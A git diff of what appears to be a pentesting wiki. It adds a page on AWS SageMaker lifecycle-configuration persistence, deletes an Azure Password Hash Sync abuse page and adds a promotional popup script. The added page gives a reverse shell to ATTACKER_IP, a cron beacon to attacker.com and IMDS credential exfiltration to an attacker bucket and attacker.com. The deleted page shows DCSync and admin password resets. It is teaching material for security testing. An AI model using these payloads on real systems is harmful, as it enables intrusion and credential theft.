diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 17225a2e2..582319269 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -442,11 +442,13 @@ - [Az - Permissions for a Pentest](pentesting-cloud/azure-security/az-permissions-for-a-pentest.md) - [Az - Lateral Movement (Cloud - On-Prem)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md) - [Az AD Connect - Hybrid Identity](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md) - - [Az- Synchronising New Users](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md) - - [Az - Default Applications](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md) + - [Az - Synchronising New Users](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md) - [Az - Cloud Kerberos Trust](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md) - [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md) - - [Az - PHS - Password Hash Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md) + - [Az - Cloud Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md) + - [Az - Connect Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md) + - [Az - Default Applications](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md) + - [Az - Domain Services](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-domain-services.md) - [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md) - [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md) - [Az - Arc vulnerable GPO Deploy Script](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md) diff --git a/src/images/discount.jpeg b/src/images/discount.jpeg new file mode 100644 index 000000000..5c0b098d4 Binary files /dev/null and b/src/images/discount.jpeg differ diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md new file mode 100644 index 000000000..dc21ecca2 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md @@ -0,0 +1,156 @@ +# AWS - SageMaker Lifecycle Configuration Persistence + +## Overview of Persistence Techniques + +このセクションでは、Lifecycle Configurations (LCCs) を悪用して SageMaker に持続性を持たせる方法について説明します。これには、リバースシェル、cron ジョブ、IMDS を介した資格情報の盗難、SSH バックドアが含まれます。これらのスクリプトはインスタンスの IAM ロールで実行され、再起動を超えて持続することができます。ほとんどの技術はアウトバウンドネットワークアクセスを必要としますが、AWS コントロールプレーン上のサービスを使用することで、環境が「VPC のみ」モードであっても成功する可能性があります。 +#### 注意: SageMaker ノートブックインスタンスは、機械学習ワークロード専用に構成された管理された EC2 インスタンスです。 + +## Required Permissions +* Notebook Instances: +``` +sagemaker:CreateNotebookInstanceLifecycleConfig +sagemaker:UpdateNotebookInstanceLifecycleConfig +sagemaker:CreateNotebookInstance +sagemaker:UpdateNotebookInstance +``` +* スタジオアプリケーション: +``` +sagemaker:CreateStudioLifecycleConfig +sagemaker:UpdateStudioLifecycleConfig +sagemaker:UpdateUserProfile +sagemaker:UpdateSpace +sagemaker:UpdateDomain +``` +## ノートブックインスタンスのライフサイクル設定 + +### AWS CLIコマンドの例: +```bash +# Create Lifecycle Configuration* + +aws sagemaker create-notebook-instance-lifecycle-config \ +--notebook-instance-lifecycle-config-name attacker-lcc \ +--on-start Content=$(base64 -w0 reverse_shell.sh) + + +# Attach Lifecycle Configuration to Notebook Instance* + +aws sagemaker update-notebook-instance \ +--notebook-instance-name victim-instance \ +--lifecycle-config-name attacker-lcc +``` +## SageMaker Studioでライフサイクル設定を行う + +ライフサイクル設定は、SageMaker Studio内のさまざまなレベルおよび異なるアプリタイプに添付できます。 + +### スタジオドメインレベル(すべてのユーザー) +```bash +# Create Studio Lifecycle Configuration* + +aws sagemaker create-studio-lifecycle-config \ +--studio-lifecycle-config-name attacker-studio-lcc \ +--studio-lifecycle-config-app-type JupyterServer \ +--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) + + +# Apply LCC to entire Studio Domain* + +aws sagemaker update-domain --domain-id --default-user-settings '{ +"JupyterServerAppSettings": { +"DefaultResourceSpec": {"LifecycleConfigArn": ""} +} +}' +``` +### スタジオスペースレベル(個別または共有スペース) +```bash +# Update SageMaker Studio Space to attach LCC* + +aws sagemaker update-space --domain-id --space-name --space-settings '{ +"JupyterServerAppSettings": { +"DefaultResourceSpec": {"LifecycleConfigArn": ""} +} +}' +``` +## スタジオアプリケーションライフサイクル構成の種類 + +ライフサイクル構成は、異なるSageMaker Studioアプリケーションタイプに特に適用できます: +* JupyterServer: Jupyterサーバーの起動時にスクリプトを実行し、リバースシェルやcronジョブのような永続メカニズムに最適です。 +* KernelGateway: カーネルゲートウェイアプリの起動時に実行され、初期設定や永続的なアクセスに役立ちます。 +* CodeEditor: コードエディタ(Code-OSS)に適用され、コード編集セッションの開始時に実行されるスクリプトを有効にします。 + +### 各タイプの例コマンド: + +### JupyterServer +```bash +aws sagemaker create-studio-lifecycle-config \ +--studio-lifecycle-config-name attacker-jupyter-lcc \ +--studio-lifecycle-config-app-type JupyterServer \ +--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) +``` +### KernelGateway +```bash +aws sagemaker create-studio-lifecycle-config \ +--studio-lifecycle-config-name attacker-kernelgateway-lcc \ +--studio-lifecycle-config-app-type KernelGateway \ +--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh) +``` +### CodeEditor +```bash +aws sagemaker create-studio-lifecycle-config \ +--studio-lifecycle-config-name attacker-codeeditor-lcc \ +--studio-lifecycle-config-app-type CodeEditor \ +--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh) +``` +### Critical Info: +* ドメインまたはスペースレベルでLCCをアタッチすると、スコープ内のすべてのユーザーまたはアプリケーションに影響を与えます。 +* より高い権限が必要です(sagemaker:UpdateDomain、sagemaker:UpdateSpace)、通常はドメインレベルよりもスペースレベルで実現可能です。 +* ネットワークレベルの制御(例:厳格な出口フィルタリング)は、成功したリバースシェルやデータの流出を防ぐことができます。 + +## Reverse Shell via Lifecycle Configuration + +SageMaker Lifecycle Configurations (LCCs) execute custom scripts when notebook instances start. An attacker with permissions can establish a persistent reverse shell. + +### Payload Example: +``` +#!/bin/bash +ATTACKER_IP="" +ATTACKER_PORT="" +nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 & +``` +## Cron Job Persistence via Lifecycle Configuration + +攻撃者はLCCスクリプトを通じてcronジョブを注入し、悪意のあるスクリプトやコマンドの定期的な実行を確保し、隠れた持続性を可能にします。 + +### Payload Example: +``` +#!/bin/bash +PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py" +CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH" +CRON_JOB="*/30 * * * * $CRON_CMD" + +mkdir -p /home/ec2-user/SageMaker/.local_tasks +echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH +chmod +x $PAYLOAD_PATH + +(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user - +``` +## IMDS(v1 & v2)を介した認証情報の抽出 + +ライフサイクル構成は、インスタンスメタデータサービス(IMDS)にクエリを送信してIAM認証情報を取得し、それを攻撃者が制御する場所に抽出することができます。 + +### ペイロードの例: +```bash +#!/bin/bash +ATTACKER_BUCKET="s3://attacker-controlled-bucket" +TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") +ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/) +curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json + +# Exfiltrate via S3* + +aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json + +# Alternatively, exfiltrate via HTTP POST* + +curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload +``` + diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md deleted file mode 100644 index d8ae093e3..000000000 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md +++ /dev/null @@ -1,114 +0,0 @@ -# Az - PHS - Password Hash Sync - -{{#include ../../../../banners/hacktricks-training.md}} - -## 基本情報 - -[ドキュメントから:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **パスワードハッシュ同期**は、ハイブリッドアイデンティティを実現するために使用されるサインイン方法の1つです。 **Azure AD Connect**は、オンプレミスのActive DirectoryインスタンスからクラウドベースのAzure ADインスタンスにユーザーのパスワードのハッシュのハッシュを同期します。 - -
- -これは、企業がオンプレミスのADをAzure ADと同期させるために使用する**最も一般的な方法**です。 - -すべての**ユーザー**と**パスワードハッシュのハッシュ**がオンプレミスからAzure ADに同期されます。ただし、**平文のパスワード**や**元の** **ハッシュ**はAzure ADに送信されません。\ -さらに、**組み込み**のセキュリティグループ(ドメイン管理者など)は**Azure ADに同期されません**。 - -**ハッシュの同期**は**2分ごと**に行われます。ただし、デフォルトでは、**パスワードの有効期限**と**アカウントの有効期限**はAzure ADに**同期されません**。したがって、**オンプレミスのパスワードが期限切れ**(変更されていない)であるユーザーは、古いパスワードを使用して**Azureリソースにアクセスし続ける**ことができます。 - -オンプレミスのユーザーがAzureリソースにアクセスしたい場合、**認証はAzure ADで行われます**。 - -**PHS**は、**アイデンティティ保護**やAADドメインサービスなどの機能に必要です。 - -## ピボッティング - -PHSが構成されると、いくつかの**特権アカウント**が自動的に**作成**されます: - -- アカウント**`MSOL_`**は、オンプレミスADに自動的に作成されます。このアカウントには**ディレクトリ同期アカウント**の役割が与えられます([ドキュメントを参照](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions))。これは、オンプレミスADで**レプリケーション(DCSync)権限**を持つことを意味します。 -- アカウント**`Sync__installationID`**がAzure ADに作成されます。このアカウントは、Azure AD内の**任意のユーザー**(同期されたユーザーまたはクラウド専用ユーザー)のパスワードを**リセット**できます。 - -これらの2つの特権アカウントのパスワードは、**Azure AD ConnectがインストールされているサーバーのSQLサーバーに保存**されています。管理者は、これらの特権ユーザーのパスワードを平文で抽出できます。\ -データベースは`C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`にあります。 - -テーブルの1つから構成を抽出することが可能で、1つは暗号化されています: - -`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;` - -**暗号化された構成**は**DPAPI**で暗号化されており、オンプレミスADの`MSOL_*`ユーザーの**パスワード**とAzureADの**Sync\_\***のパスワードを含んでいます。したがって、これらを侵害することでADおよびAzureADへの権限昇格が可能です。 - -これらの資格情報がどのように保存され、復号化されるかの[完全な概要はこのトークで確認できます](https://www.youtube.com/watch?v=JEIR5oGCwdg)。 - -### **Azure AD Connectサーバーの発見** - -**Azure AD Connectがインストールされているサーバー**がドメインに参加している場合(ドキュメントで推奨)、次の方法で見つけることができます: -```bash -# ActiveDirectory module -Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl - -#Azure AD module -Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"} -``` -### MSOL\_\*の悪用 -```bash -# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module -Get-AADIntSyncCredentials - -# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD -runas /netonly /user:defeng.corp\MSOL_123123123123 cmd -Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"' -``` -> [!CAUTION] -> これらの資格情報を取得するために、[**adconnectdump**](https://github.com/dirkjanm/adconnectdump)を使用することもできます。 - -### Sync\_\*の悪用 - -**`Sync_*`** アカウントを侵害することで、任意のユーザー(グローバル管理者を含む)の**パスワードをリセット**することが可能です。 -```bash -# This command, run previously, will give us alse the creds of this account -Get-AADIntSyncCredentials - -# Get access token for Sync_* account -$passwd = ConvertTo-SecureString '' -AsPlainText - Force -$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd) -Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache - -# Get global admins -Get-AADIntGlobalAdmins - -# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID) -Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId - -# Reset the users password -Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose - -# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync) -``` -クラウドユーザーのパスワードのみを**変更することも可能です**(予期しない場合でも)。 -```bash -# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID -# The CloudAnchor is of the format USER_ObjectID. -Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID - -# Reset password -Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers -``` -このユーザーのパスワードをダンプすることも可能です。 - -> [!CAUTION] -> 別のオプションは、**サービスプリンシパルに特権のある権限を割り当てる**ことであり、**Sync**ユーザーには**権限**があります。そして、その**サービスプリンシパルにアクセスする**ことで特権昇格を行うことができます。 - -### シームレスSSO - -PHSを使用してシームレスSSOを利用することが可能であり、他の悪用に対して脆弱です。以下で確認してください: - -{{#ref}} -seamless-sso.md -{{#endref}} - -## 参考文献 - -- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs) -- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) -- [https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf) -- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8) - -{{#include ../../../../banners/hacktricks-training.md}} diff --git a/theme/ai.js b/theme/ai.js index 13337c3f1..02f51127e 100644 --- a/theme/ai.js +++ b/theme/ai.js @@ -1,3 +1,104 @@ +/** + * HackTricks Training Discounts + */ + + +(() => { + const KEY = 'htSummerDiscountsDismissed'; + const IMG = '/images/discount.jpeg'; + const TXT = 'Click here for HT Summer Discounts, Last Days!'; + const URL = 'https://training.hacktricks.xyz'; + + /* Stop if user already dismissed */ + if (localStorage.getItem(KEY) === 'true') return; + + /* Quick helper */ + const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css }); + + /* --- Overlay (blur + dim) --- */ + const overlay = $('div', ` + position: fixed; inset: 0; + background: rgba(0,0,0,.4); + backdrop-filter: blur(6px); + display: flex; justify-content: center; align-items: center; + z-index: 10000; + `); + + /* --- Modal --- */ + const modal = $('div', ` + max-width: 90vw; width: 480px; + background: #fff; border-radius: 12px; overflow: hidden; + box-shadow: 0 8px 24px rgba(0,0,0,.35); + font-family: system-ui, sans-serif; + display: flex; flex-direction: column; align-items: stretch; + `); + + /* --- Title bar (link + close) --- */ + const titleBar = $('div', ` + position: relative; + padding: 1rem 2.5rem 1rem 1rem; /* room for the close button */ + text-align: center; + background: #222; color: #fff; + font-size: 1.3rem; font-weight: 700; + `); + + const link = $('a', ` + color: inherit; + text-decoration: none; + display: block; + `); + link.href = URL; + link.target = '_blank'; + link.rel = 'noopener noreferrer'; + link.textContent = TXT; + titleBar.appendChild(link); + + /* Close "X" (no persistence) */ + const closeBtn = $('button', ` + position: absolute; top: .25rem; right: .5rem; + background: transparent; border: none; + color: #fff; font-size: 1.4rem; line-height: 1; + cursor: pointer; padding: 0; margin: 0; + `); + closeBtn.setAttribute('aria-label', 'Close'); + closeBtn.textContent = '✕'; + closeBtn.onclick = () => overlay.remove(); + titleBar.appendChild(closeBtn); + + /* --- Image --- */ + const img = $('img'); + img.src = IMG; img.alt = TXT; img.style.width = '100%'; + + /* --- Checkbox row --- */ + const label = $('label', ` + display: flex; align-items: center; justify-content: center; gap: .6rem; + padding: 1rem; font-size: 1rem; color: #222; cursor: pointer; + `); + const cb = $('input'); cb.type = 'checkbox'; cb.style.scale = '1.2'; + cb.onchange = () => { + if (cb.checked) { + localStorage.setItem(KEY, 'true'); + overlay.remove(); + } + }; + label.append(cb, document.createTextNode("Don't show again")); + + /* --- Assemble & inject --- */ + modal.append(titleBar, img, label); + overlay.appendChild(modal); + + if (document.readyState === 'loading') { + document.addEventListener('DOMContentLoaded', () => document.body.appendChild(overlay), { once: true }); + } else { + document.body.appendChild(overlay); + } +})(); + + + + + + /** * HackTricks AI Chat Widget v1.16 – resizable sidebar * ---------------------------------------------------